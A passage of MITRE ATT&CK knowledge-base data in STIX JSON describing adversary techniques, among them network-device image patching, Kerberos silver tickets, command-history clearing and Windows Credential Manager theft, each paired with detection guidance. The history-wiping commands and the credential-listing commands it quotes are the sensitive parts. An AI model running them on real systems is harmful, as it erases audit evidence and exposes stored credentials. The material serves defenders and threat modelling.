Authentication Interception](https://attack.mitre.org/techniques/T1111), or even [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195).\n\n**Note:** while this technique is distinct from other behaviors such as [Purchase Technical Data](https://attack.mitre.org/techniques/T1597/002) and [Credentials](https://attack.mitre.org/techniques/T1589/001), they may often be used in conjunction (especially where the acquired foothold requires [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_contributors": ["Jeremy Kennelly", "Jeffrey Barto"], "x_mitre_deprecated": false, "x_mitre_detection": "Much of this takes place outside the visibility of the target organization, making detection difficult for defenders. \n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. ", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["PRE"], "x_mitre_version": "1.0", "type": "attack-pattern", "id": "attack-pattern--d21bb61f-08ad-4dc1-b001-81ca6cb79954", "created": "2023-03-10T15:37:21.782Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1650", "external_id": "T1650"}, {"source_name": "Krebs Access Brokers Fortune 500", "description": "Brian Krebs. (2012, October 22). Service Sells Access to Fortune 500 Firms. Retrieved March 10, 2023.", "url": "https://krebsonsecurity.com/2012/10/service-sells-access-to-fortune-500-firms/"}, {"source_name": "CrowdStrike Access Brokers", "description": "CrowdStrike Intelligence Team. (2022, February 23). Access Brokers: Who Are the Targets, and What Are They Worth?. Retrieved March 10, 2023.", "url": "https://www.crowdstrike.com/blog/access-brokers-targets-and-worth/"}, {"source_name": "CISA Karakurt 2022", "description": "Cybersecurity Infrastructure and Defense Agency. (2022, June 2). Karakurt Data Extortion Group. Retrieved March 10, 2023.", "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-152a"}, {"source_name": "Microsoft Ransomware as a Service", "description": "Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Network"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f", "type": "attack-pattern", "created": "2020-10-19T19:49:24.129Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1601.001", "url": "https://attack.mitre.org/techniques/T1601/001"}, {"source_name": "Killing the myth of Cisco IOS rootkits", "url": "https://drwho.virtadpt.net/images/killing_the_myth_of_cisco_ios_rootkits.pdf", "description": "Sebastian 'topo' Mu\u00f1iz. (2008, May). Killing the myth of Cisco IOS rootkits. Retrieved October 20, 2020."}, {"source_name": "Killing IOS diversity myth", "url": "https://www.usenix.org/legacy/event/woot/tech/final_files/Cui.pdf", "description": "Ang Cui, Jatin Kataria, Salvatore J. Stolfo. (2011, August). Killing the myth of Cisco IOS diversity: recent advances in reliable shellcode design. Retrieved October 20, 2020."}, {"source_name": "Cisco IOS Shellcode", "url": "http://2015.zeronights.org/assets/files/05-Nosenko.pdf", "description": "George Nosenko. (2015). CISCO IOS SHELLCODE: ALL-IN-ONE. Retrieved October 21, 2020."}, {"source_name": "Cisco IOS Forensics Developments", "url": "https://www.recurity-labs.com/research/RecurityLabs_Developments_in_IOS_Forensics.pdf", "description": "Felix 'FX' Lindner. (2008, February). Developments in Cisco IOS Forensics. Retrieved October 21, 2020."}, {"source_name": "Juniper Netscreen of the Dead", "url": "https://www.blackhat.com/presentations/bh-usa-09/NEILSON/BHUSA09-Neilson-NetscreenDead-SLIDES.pdf", "description": "Graeme Neilson . (2009, August). Juniper Netscreen of the Dead. Retrieved October 20, 2020."}, {"source_name": "Cisco IOS Software Integrity Assurance - Image File Verification", "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7", "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020."}, {"source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification", "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13", "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020."}], "modified": "2020-10-22T17:50:46.560Z", "name": "Patch System Image", "description": "Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file.  Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.\n\nTo change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection.  The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.\n\nTo change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system.  This method typically requires administrative level access to the device.\n\nIn the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system.  Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) method, to directly manipulate running operating system code in memory.  This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.\n\nBy modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600), authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004), and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599).  Adding new capabilities for the adversary\u2019s purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001), [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port Knocking](https://attack.mitre.org/techniques/T1205/001).\n\nAdversaries may also compromise existing commands in the operating system to produce false output to mislead defenders.   When this method is used in conjunction with [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system.  By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade. \n\nWhen the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005). \n\nWhen the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots.  However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source.  Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not.  Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\n\nMany vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory.  If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system.  (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Modification"], "x_mitre_permissions_required": ["Administrator"]}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27", "type": "attack-pattern", "created": "2020-02-11T19:14:48.309Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1558.002", "url": "https://attack.mitre.org/techniques/T1558/002"}, {"source_name": "ADSecurity Silver Tickets", "url": "https://adsecurity.org/?p=2011", "description": "Sean Metcalf. (2015, November 17). How Attackers Use Kerberos Silver Tickets to Exploit Systems. Retrieved February 27, 2020."}, {"url": "https://adsecurity.org/?p=1515", "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.", "source_name": "ADSecurity Detecting Forged Tickets"}, {"description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.", "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea", "source_name": "Medium Detecting Attempts to Steal Passwords from Memory"}], "modified": "2020-03-25T21:46:46.831Z", "name": "Silver Ticket", "description": "Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)\n\nSilver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)\n\nPassword hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_detection": "Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4634, 4672).(Citation: ADSecurity Detecting Forged Tickets) \n\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Logon Session: Logon Session Metadata"], "x_mitre_permissions_required": ["User"]}, {"modified": "2024-03-01T16:27:47.391Z", "name": "Data from Information Repositories", "description": "Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization. \n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n\nInformation stored in a repository may vary based on the specific instance or environment. Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_contributors": ["Naveen Vijayaraghavan, Nilesh Dherange (Gurucul)", "Regina Elwell", "Praetorian", "Milos Stojadinovic", "Isif Ibrahima, Mandiant"], "x_mitre_deprecated": false, "x_mitre_detection": "As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nThe user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) Sharepoint audit logging can also be configured to report when a user shares a resource. (Citation: Sharepoint Sharing Events) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. ", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "Windows", "macOS", "SaaS", "Office 365", "Google Workspace", "IaaS"], "x_mitre_version": "3.3", "x_mitre_data_sources": ["Logon Session: Logon Session Creation", "Application Log: Application Log Content"], "type": "attack-pattern", "id": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1213", "external_id": "T1213"}, {"source_name": "Atlassian Confluence Logging", "description": "Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.", "url": "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html"}, {"source_name": "Microsoft SharePoint Logging", "description": "Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.", "url": "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2"}, {"source_name": "Sharepoint Sharing Events", "description": "Microsoft. (n.d.). Sharepoint Sharing Events. Retrieved October 8, 2021.", "url": "https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-11T22:30:01.227Z", "name": "Clear Persistence", "description": "Adversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity. This may involve various actions, such as removing services, deleting executables, [Modify Registry](https://attack.mitre.org/techniques/T1112), [Plist File Modification](https://attack.mitre.org/techniques/T1647), or other methods of cleanup to prevent defenders from collecting evidence of their persistent presence.(Citation: Cylance Dust Storm) Adversaries may also delete accounts previously created to maintain persistence (i.e. [Create Account](https://attack.mitre.org/techniques/T1136)).(Citation: Talos - Cisco Attack 2022)\n\nIn some instances, artifacts of persistence may also be removed once an adversary\u2019s persistence is executed in order to prevent errors with the new instance of the malware.(Citation: NCC Group Team9 June 2020)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Gavin Knapp"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["File: File Deletion", "User Account: User Account Deletion", "File: File Modification", "Windows Registry: Windows Registry Key Modification", "Process: Process Creation", "Windows Registry: Windows Registry Key Deletion", "Scheduled Job: Scheduled Job Modification", "Command: Command Execution"], "type": "attack-pattern", "id": "attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33", "created": "2022-07-29T19:32:11.552Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1070/009", "external_id": "T1070.009"}, {"source_name": "Cylance Dust Storm", "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}, {"source_name": "Talos - Cisco Attack 2022", "description": "Nick Biasini. (2022, August 10). Cisco Talos shares insights related to recent cyber attack on Cisco. Retrieved March 9, 2023.", "url": "https://blog.talosintelligence.com/recent-cyber-attack/"}, {"source_name": "NCC Group Team9 June 2020", "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020.", "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--d3046a90-580c-4004-8208-66915bc29830", "type": "attack-pattern", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1146", "external_id": "T1146"}], "modified": "2020-01-31T12:32:52.281Z", "name": "Clear Command History", "description": "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. macOS and Linux both keep track of the commands users type in their terminal so that users can retrace what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as <code>unset HISTFILE</code>, <code>export HISTFILESIZE=0</code>, <code>history -c</code>, <code>rm ~/.bash_history</code>.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "User authentication, especially via remote terminal services like SSH, without new entries in that user's <code>~/.bash_history</code> is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the <code>~/.bash_history</code> file are indicators of suspicious activity.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Log analysis", "Host forensic analysis"], "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"modified": "2022-10-21T15:46:55.929Z", "name": "Windows Credential Manager", "description": "Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)\n\nThe Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.\n\nCredential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\`. The encryption key can be found in a file named <code>Policy.vpol</code>, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)\n\nAdversaries may list credentials managed by the Windows Credential Manager through several mechanisms. <code>vaultcmd.exe</code> is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as <code>CredEnumerateA</code>, may also be absued to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\n\nAdversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running <code>rundll32.exe keymgr.dll KRShowKeyMgr</code> then selecting the \u201cBack up...\u201d button on the \u201cStored User Names and Passwords\u201d GUI.\n\nPassword recovery tools may also obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_detection": "Monitor process and command-line parameters of <code>vaultcmd.exe</code> for suspicious activity, such as listing credentials from the Windows Credentials locker (i.e., <code>vaultcmd /listcreds:\u201cWindows Credentials\u201d</code>).(Citation: Malwarebytes The Windows Vault)\n\nConsider monitoring API calls such as <code>CredEnumerateA</code> that may list credentials from the Windows Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\n\nConsider monitoring file reads to Vault locations, <code>%Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\</code>, for suspicious activity.(Citation: Malwarebytes The Windows Vault)", "x_mitre_platforms": ["Windows"], "x_mitre_is_subtechnique": true, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_contributors": ["Bernaldo Penas Antelo", "Mugdha Peter Bansode", "Uriel Kosayev", "Vadim Khrykov"], "x_mitre_data_sources": ["File: File Access", "Command: Command Execution", "Process: OS API Execution", "Process: Process Creation"], "type": "attack-pattern", "id": "attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447", "created": "2020-11-23T15:35:53.793Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1555/004", "external_id": "T1555.004"}, {"source_name": "Malwarebytes The Windows Vault", "description": "Arntz, P. (2016, March 30). The Windows Vault . Retrieved November 23, 2020.", "url": "https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/"}, {"source_name": "Delpy Mimikatz Crendential Manager", "description": "Delpy, B. (2017, December 12). howto ~ credential manager saved credentials. Retrieved November 23, 2020.", "url": "https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials"}, {"source_name": "Microsoft Credential Locker", "description": "Microsoft. (2013, October 23). Credential Locker Overview. Retrieved November 24, 2020.", "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN"}, {"source_name": "Microsoft Credential Manager store", "description": "Microsoft. (2016, August 31). Cached and Stored Credentials Technical Overview. Retrieved November 24, 2020.", "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store"}, {"source_name": "Microsoft CredEnumerate", "description": "Microsoft. (2018, December 5). CredEnumarateA function (wincred.h). Retrieved November 24, 2020.", "url": "https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea"}, {"source_name": "passcape Windows Vault", "description": "Passcape. (n.d.). Windows Password Recovery - Vault Explorer and Decoder. Retrieved November 24, 2020.", "url": "https://www.passcape.com/windows_password_recovery_vault_explorer"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Ivan Sinyakov"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--d376668f-b208-42de-b1f5-fdfe0ad4b753", "type": "attack-pattern", "created": "2019-09-19T14:07:11.734Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1519", "url": "https://attack.mitre.org/techniques/T1519"}, {"source_name": "xorrior emond Jan 2018", "url": "https://www.xorrior.com/emond-persistence/", "description": "Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019."}, {"source_name": "magnusviri emond Apr 2016", "url": "http://www.magnusviri.com/Mac/what-is-emond.html", "description": "Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019."}, {"source_name": "sentinelone macos persist Jun 2019", "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/", "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019."}], "modified": "2020-01-24T15:15:44.006Z", "name": "Emond", "description": "Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1160) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1160) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1160) service.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "Monitor emond rules creation by checking for files created or modified in <code>/etc/emond.d/rules/</code> and <code>/private/var/db/emondClients</code>.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows", "macOS", "Linux"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847", "type": "attack-pattern", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1194", "external_id": "T1194"}, {"external_id": "CAPEC-163", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/163.html"}], "modified": "2020-03-02T19:30:53.487Z", "name": "Spearphishing via Service", "description": "Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "initial-access"}], "x_mitre_detection": "Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. \n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064).", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_is_subtechnique": false}, {"modified": "2023-03-30T21:01:40.332Z", "name": "Hardware Additions", "description": "Adversaries may introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091)), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused.\n\nWhile public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)), keystroke injection, kernel memory reading via DMA, addition of new wireless access to an existing network, and others.(Citation: Ossmann Star 